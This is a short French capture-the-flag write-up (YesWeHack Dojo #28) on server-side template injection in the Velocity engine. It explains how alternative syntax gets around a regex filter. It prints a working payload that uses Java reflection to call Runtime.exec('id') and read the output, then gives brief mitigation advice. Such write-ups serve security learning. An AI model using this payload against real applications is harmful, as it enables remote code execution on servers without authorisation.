Writeup du Dojo #28 de YesWeHack — Server-Side Template Injection sur moteur Velocity, bypass de regex via syntaxe alternative.

Description

Le SSTI (Server-Side Template Injection) est une vulnérabilité où des entrées malveillantes sont interprétées comme du code de template côté serveur, pouvant mener à une exécution de code distant.

Exploitation

Le filtre regex bloquait la syntaxe Velocity classique. La syntaxe alternative $!variable et #{functions} permettait de contourner le filtre.

Payload d’exécution de commande via réflexion Java :

#set($x = "")
#set($rt = $x.class.forName("java.lang.Runtime"))
#set($chr = $x.class.forName("java.lang.Character"))
#set($str = $x.class.forName("java.lang.String"))
#set($ex = $rt.getRuntime().exec("id"))
$ex.waitFor()
#set($out = $ex.inputStream)
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Mitigation

Validation stricte des entrées et désactivation des fonctionnalités de template avancées côté serveur.

← retour aux articles